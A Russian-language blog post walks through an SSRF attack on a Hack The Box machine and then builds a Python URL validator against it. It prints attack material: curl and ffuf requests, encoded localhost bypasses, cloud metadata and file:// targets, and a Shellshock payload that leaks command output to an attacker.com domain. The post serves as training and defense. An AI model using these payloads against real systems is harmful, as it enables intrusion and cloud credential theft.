SSRF уязвимость в API: разбор HTB-машины и валидация защиты на практике

Четыре часа на HTB-машину «Zipper» — и единственным рабочим вектором оказался POST-параметр в API-эндпоинте. Сервис принимал URL, подтягивал данные, возвращал результат. Типичная интеграционная функция — такие в продакшне на каждом втором проекте. SSRF (Server-Side Request Forgery — подделка серверных запросов: ты управляешь адресом, куда сервер отправляет исходящий запрос) нашлась за двадцать минут. А вот обход фильтра и замыкание цепочки до чтения внутренних сервисов — это уже оставшиеся три с лишним часа. Потом я взял модуль валидации из AppSec-курса и за полчаса закрыл ровно те payload’ы (строки-полезные нагрузки для эксплуатации), которые только что отправлял сам. Разбираю весь путь — от разведки до защиты.
Разведка на HTB Zipper: пентест API-эндпоинтов на SSRF
Server Side Request Forgery — что это и зачем атакующему
Сервер видит сеть иначе, чем внешний клиент. Ему доступны loopback-адреса (127.0.0.1 — адрес, по которому машина обращается сама к себе), приватные IP-диапазоны соседних сервисов (10.x.x.x, 172.16.x.x, 192.168.x.x) и облачные metadata-эндпоинты (служебный URL вроде 169.254.169.254, где cloud-провайдер хранит credentials и конфигурацию виртуальной машины). Если пользовательский ввод попадает в URL исходящего запроса без проверки — атакующий буквально «смотрит глазами сервера» за периметр.
В классификации OWASP (Open Web Application Security Project — организация, формирующая стандарты безопасности приложений) SSRF занимает позицию A10:2021 в OWASP Top 10 для веб-приложений и API7:2023 в OWASP API Security Top 10. Почему API особенно уязвимы? Они обрабатывают пользовательские URL программно, с серверными привилегиями и без визуального контекста браузера. Нет адресной строки, нет предупреждений — только код, который делает то, что ему сказали.
В терминологии MITRE ATT&CK (открытая база тактик и техник атак; T-коды — идентификаторы конкретных приёмов) эксплуатация SSRF в публичном API раскладывается в цепочку:
- T1190 — Exploit Public-Facing Application (тактика Initial Access): публичный API как точка входа
- T1046 — Network Service Discovery (тактика Discovery): сканирование внутренних портов через SSRF
- T1552.001 — Credentials In Files (тактика Credential Access): чтение конфигурационных файлов с паролями и ключами
- T1005 — Data from Local System (тактика Collection): извлечение данных с сервера
Бизнес-логика атаки: через SSRF сканируется внутренняя сеть — какие порты открыты, какие сервисы отвечают. Следующий шаг — доступ к metadata-сервису облака и получение временных credentials роли виртуальной машины. Дальше — перемещение по инфраструктуре с правами самого сервиса: чтение S3-бакетов, управление очередями, доступ к секретам. SSRF обходит периметровую защиту, потому что запрос идёт изнутри — файрволы и WAF (Web Application Firewall — межсетевой экран уровня приложений) считают такой трафик легитимным. Вот почему это не «ещё одна уязвимость», а полноценный пробой периметра.
При пентесте API-эндпоинтов на HTB Zipper я искал точки входа по таким паттернам:
- POST/GET-параметры с именами
url,callback,redirect,file_url,webhook,image_url,src - Функции загрузки файла по ссылке, генерации превью, проверки доступности URL, отправки тестового вебхука
- Заголовки
X-Forwarded-Host,Referer, которые сервер иногда использует для формирования исходящих запросов - Частичные URL: клиент передаёт хост или путь, а сервер собирает полный адрес из шаблона — по данным PortSwigger, это типичный скрытый слой SSRF-поверхности
Отдельная история — webhook-функции. Вебхуки — асинхронные callbacks, которые приложение отправляет при наступлении события. С точки зрения SSRF это почти готовый канал для blind-сценария: ответ внутреннего сервиса пользователь может не увидеть, но сам факт серверного запроса создаёт поверхность для проверки через тайминги, DNS-обращения и различия в поведении. Если в продукте есть «проверить URL», «отправить тестовое уведомление» или «сделать превью ссылки» — перед тобой полноценный SSRF entry point.
Подтверждение SSRF через out-of-band запрос
Подозрительный параметр найден. Теперь нужно подтвердить, что сервер действительно отправляет запрос по указанному адресу. Для этого используется out-of-band (внеполосное) взаимодействие: сервер обращается на контролируемый тобой ресурс, и ты видишь входящее соединение.
Зачем это нужно: ответ API может не содержать тело внутреннего запроса. Такой сценарий называется blind SSRF (слепая SSRF) — результат запроса не отображается пользователю. Но сам факт обращения подтверждает уязвимость и открывает дорогу к дальнейшей эксплуатации. Для обнаружения blind SSRF используются Burp Collaborator (встроенная функция Burp Suite — инструмента для тестирования веб-приложений), interactsh, webhook.site, canarytokens и расширение «Collaborator Everywhere», которое автоматически добавляет OOB-payload’ы в заголовки исходящих запросов.
Делай раз: подготовь URL, который контролируешь. Если используешь Burp Suite — скопируй адрес Collaborator. Если нет — запусти на VPS nc -lvnp 8080 и используй его IP. Совет: если стандартный домен Collaborator фильтруется, разверни собственный Collaborator-сервер — дефолтный домен часто попадает в блоклисты.
Делай два: отправь запрос к API-эндпоинту, подставив свой URL в параметр:
curl -X POST http://target.htb/api/fetch \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "url=http://YOUR-COLLABORATOR.oastify.com"
Делай три: проверь Collaborator или nc-слушатель. В логах должен появиться DNS-запрос и HTTP-обращение с заголовками целевого сервера (User-Agent, внутренний IP в X-Forwarded-For). Видишь входящий запрос от IP цели — SSRF подтверждена, переходи к эксплуатации.
Даже blind SSRF — не тупик. Один из способов превратить её в выполнение команд — комбинация с Shellshock (CVE-2014-6271, CVSS 9.8 CRITICAL: уязвимость в GNU Bash до версии 4.3, позволяющая выполнить произвольный код через переменные окружения; CWE-78 — OS Command Injection). EPSS (Exploit Prediction Scoring System — оценка вероятности эксплуатации в ближайшие 30 дней) для CVE-2014-6271 равен 1.0 — максимум шкалы. CVE находится в каталоге CISA KEV (список уязвимостей, которые УЖЕ эксплуатируются в реальных атаках). Через SSRF отправляется запрос к внутреннему CGI-сервису, а Shellshock-payload передаётся в заголовке User-Agent: () { :; }; /bin/nslookup $(whoami).attacker.com. Если внутренний сервис уязвим — Bash выполняет инъецированную команду, а результат уходит через DNS на контролируемый домен. Да, Shellshock 2014 года. Да, на внутренних сервисах он всё ещё встречается.
Эксплуатация SSRF: обход фильтров и доступ к внутренней сети
SSRF payload — запросы к localhost и сканирование портов
После подтверждения уязвимости — обращаемся к внутренним ресурсам. Базовый SSRF payload: подставить http://127.0.0.1 или http://localhost вместо внешнего URL.
Мой процесс на HTB: отправил http://127.0.0.1:80/ — получил ответ, отличающийся от ошибки. Сервер ходит на localhost. Дальше — перебор портов. На HTB-упражнениях по server-side атакам POST-параметр, который обычно указывает на внешний сервис, получает адрес localhost с портом. Для автоматического перебора — ffuf (инструмент для фаззинга, систематического перебора значений параметра):
ffuf -w /usr/share/seclists/Fuzzing/4-digits-0000-9999.txt:PORT \
-u http://target.htb/api/fetch -X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "url=http://127.0.0.1:PORT/" -fs 0
Предусловия: Kali Linux или система с установленными ffuf и SecLists. Флаг -fs 0 фильтрует ответы нулевого размера — если порт закрыт или сервис не отвечает, обычно возвращается пустой ответ.
Ответы с ненулевым размером — открытые порты. На одном из HTB-упражнений через такое сканирование обнаружился порт 3306 (MySQL) — внутренняя база данных, недоступная снаружи. После обнаружения — «просмотр» сервиса: подставляешь http://127.0.0.1:3306/ в уязвимый параметр и анализируешь ответ.
Если целевой сервер — облачная виртуальная машина (AWS EC2, GCP Compute Engine, Yandex Cloud), следующий приоритетный запрос — http://169.254.169.254/latest/meta-data/. AWS через этот эндпоинт отдаёт временные security credentials роли инстанса. Google Cloud — токены сервисного аккаунта. Yandex Cloud — служебные данные ВМ и identity-документы. Получив credentials, атакующий взаимодействует с облачным API от имени сервиса: читает бакеты, управляет очередями, получает секреты из Secrets Manager. SSRF в облаке — это доступ к control plane всей инфраструктуры.
Помимо портов, фаззь директории внутреннего HTTP-сервиса: замени PORT на FUZZ, подставь словарь с именами файлов и добавь расширения .php, .py. Ищи эндпоинты /admin, /internal, /debug, /status. Если SSRF выводит содержимое ответа (не blind) — попробуй схему file:///etc/passwd для чтения локальных файлов. Если работает — критичность уязвимости возрастает кратно: ты читаешь файловую систему сервера через веб-параметр.
Обход валидации URL: DNS rebinding и альтернативные IP
На продвинутых HTB-машинах и в продакшн-приложениях за параметром URL стоит фильтр. Типичная блокировка: запрет строк localhost, 127.0.0.1, приватных диапазонов. На «Zipper» фильтр отклонял запросы с 127.0.0.1 в теле — пришлось искать обходные пути.
Альтернативные записи IP. Адрес 127.0.0.1 записывается как http://2130706433 (десятичная форма), http://0x7f000001/ (шестнадцатеричная), http://0 (сокращённая), http://127.1, http://[::1] (IPv6). Фильтр, сравнивающий строку 127.0.0.1 побуквенно, пропустит все варианты. Сервер при этом отрезолвит их обратно в тот же адрес. Именно так я обошёл фильтр на «Zipper» — десятичная запись сработала с первой попытки.
DNS rebinding. Регистрируешь домен с коротким TTL (Time To Live — время жизни DNS-записи). При первом DNS-запросе он резолвится в разрешённый IP и проходит валидацию фильтра. При повторном — в 127.0.0.1 или внутренний адрес. Для генерации таких доменов есть сервис rebinder (lock.cmpxchg8b.com/rebinder.html): указываешь два IP, получаешь домен, который чередует ответы. Минус: IP могут «прыгать» между запросами, иногда нужно несколько попыток.
Сервис nip.io. Запись 192.168.1.100.nip.io резолвится в IP, закодированный прямо в имени домена. Если фильтр пропускает доменные имена, но блокирует числовые IP — nip.io срабатывает. Произвольный поддомен для обхода regex: bypass.filter.192.168.1.100.nip.io — тот же результат.
Редиректы. Если приложение следует за HTTP-редиректами (301/302), направляешь первый запрос на разрешённый домен, который перенаправляет на http://127.0.0.1. Фильтр видит легитимный URL, реальный запрос уходит на localhost. Open redirect на целевом приложении — готовый усилитель для эксплуатации SSRF.
URL-схемы. Помимо http:// в зависимости от серверного стека работают: file:///etc/passwd (чтение файлов), gopher:// (произвольные TCP-данные для Redis, MySQL, SMTP), dict://, sftp://. В PHP: php://, data://. В Java: jar://, netdoc:// (но OpenJDK 8+ не следует редиректам между разными протоколами). Gopherus генерирует gopher-payload’ы для MySQL, PostgreSQL, FastCGI, Redis и Zabbix. SSRFMap (Python) автоматизирует обход фильтров через параметр --level: уровень 1 — стандартные payload’ы, уровень 2 — bypass’ы вроде http://127.0.1, http://localtest.me. Модуль readfiles скачивает /etc/passwd и другие чувствительные файлы, networkscan сканирует соседние хосты.
Защита от SSRF атак: модуль валидации внешних запросов
Сетевая изоляция и архитектурные контроли
Разобравшись в эксплуатации, переключаюсь на защиту. Самый надёжный уровень — не давать приложению технической возможности обращаться к внутренним ресурсам.
Egress-фильтрация. Настрой правила файрвола так, чтобы исходящие запросы приложения ограничивались конкретным списком разрешённых хостов и портов. Если сервис подтягивает аватарки — разреши обращения только к CDN-домену. Не ко всему интернету и уж точно не к внутренней сети.
Metadata-защита в облаке. AWS: используй IMDSv2 (Instance Metadata Service v2) с обязательным сессионным токеном — двухэтапный механизм: сначала PUT-запрос для получения токена, потом GET с заголовком X-aws-ec2-metadata-token. Простой SSRF-запрос без этого заголовка будет отклонён. Google Cloud и Yandex Cloud: обязателен заголовок Metadata-Flavor: Google. Эти меры не устраняют SSRF уязвимость в API, но блокируют самый опасный вектор — утечку облачных credentials. IMDSv2 поднял планку, но не отменил impact: если сервис умеет формировать нужные заголовки (через XXE или SSRF с контролем заголовков), защита обходится.
Сегментация сети. Приложение, обрабатывающее пользовательские URL, не должно находиться в одном сегменте с базами данных, внутренними API и административными интерфейсами. Отдельная подсеть с минимальным набором разрешённых маршрутов — базовый архитектурный контроль. Звучит очевидно, но на практике я раз за разом вижу API-сервер в одном VLAN с Redis и PostgreSQL.
Валидация URL в коде — AppSec-подход
Сетевая изоляция — первая линия, но она не заменяет проверку на уровне кода. Модуль валидации внешних запросов, который я собрал после прохождения HTB-машины, проверяет URL в три этапа: парсинг схемы, DNS-резолвинг hostname в IP, проверка IP на принадлежность глобальному диапазону.
Зачем именно три этапа: парсинг отсекает опасные схемы (file://, gopher://). Резолвинг превращает hostname в IP до отправки запроса — ловит nip.io и кастомные DNS-записи. Проверка IP отклоняет приватные и loopback-адреса. Ни один этап сам по себе не достаточен: DNS rebinding обманывает парсинг, редиректы обходят однократную проверку, альтернативные записи проходят мимо строковых фильтров.
import ipaddress, socket
from urllib.parse import urlparse
ALLOWED_SCHEMES = {"http", "https"}
def validate_url(user_url: str) -> bool:
parsed = urlparse(user_url)
if parsed.scheme not in ALLOWED_SCHEMES:
return False
try:
ip = socket.getaddrinfo(parsed.hostname, None)[0][4][0]
addr = ipaddress.ip_address(ip)
except (socket.gaierror, ValueError):
return False
return addr.is_global
Что происходит на каждом шаге:
urlparseразбирает URL на компоненты (схема, хост, путь) и позволяет проверить схему отдельноsocket.getaddrinfoрезолвит hostname в IP до отправки реального HTTP-запросаipaddress.ip_address(ip).is_global— ключевая проверка: IP принадлежит публичному диапазону? Адреса 127.0.0.1, 10.x.x.x, 169.254.169.254, 192.168.x.x и прочие приватные/зарезервированные диапазоны вернутFalse
Проверяем: validate_url("http://127.0.0.1/admin") → False. validate_url("http://2130706433") → False (десятичный localhost). validate_url("http://192.168.1.100.nip.io") → False (после резолва — приватный IP). validate_url("http://example.com/api") → True.
Ограничение, которое стоит держать в голове: модуль не решает проблему DNS rebinding полностью. Между моментом getaddrinfo и реальным HTTP-запросом DNS-ответ может измениться. Для защиты от rebinding нужно резолвить IP один раз и передавать разрезолвленный адрес напрямую в HTTP-клиент, минуя повторный DNS-запрос. В production-решениях для этого используют кастомные DNS-резолверы или HTTP-библиотеки с привязкой к конкретному IP на уровне сокета.
Связь с этим hackthebox writeup по SSRF: каждый bypass из предыдущего раздела — десятичный IP, IPv6, nip.io — проверяется одной строкой addr.is_global. Вместо бесконечного расширения чёрного списка — одна позитивная проверка: IP глобальный? Да — пропускаем. Нет — блокируем. Именно такой подход к валидации внешних запросов я применил к векторам, которые только что использовал на HTB.
Разрыв между атакой и защитой — вот что больше всего зацепило в этом разборе. Три часа обхода фильтров. Полчаса на модуль валидации, который закрывает все использованные приёмы. Проблема не в сложности защиты — проблема в приоритетах: о валидации URL думают после инцидента.
Из десятков API-эндпоинтов, которые я тестировал на проектах и CTF-площадках, больше половины фильтруют SSRF через чёрные списки — запрещают localhost и 127.0.0.1 побуквенно. Десятичная запись IP обходит такой фильтр за одну попытку. Чёрный список создаёт иллюзию безопасности без безопасности.
Индустрия движется к allow-list подходу — проверять не «запрещён ли адрес», а «разрешён ли этот адрес после DNS-резолва». На практике этот сдвиг происходит после инцидента, не до. Каждый новый webhook, каждый callback-параметр, каждая функция «загрузить по ссылке» — SSRF-поверхность. Кто не перестроит валидацию исходящих запросов с deny-list на allow-list сейчас, будет закрывать это по инцидентам с утечкой credentials из metadata-сервиса. Системное понимание связки «как ломают и как закрывают» ценнее сотни разрозненных writeup’ов — на курсе IB Basics эту цепочку проходят от разведки до защитного модуля с лабами.
Эту тему и смежные навыки разбирают на практике в курсе «Профессия: инженер по безопасности приложений (AppSec)» Codeby Academy.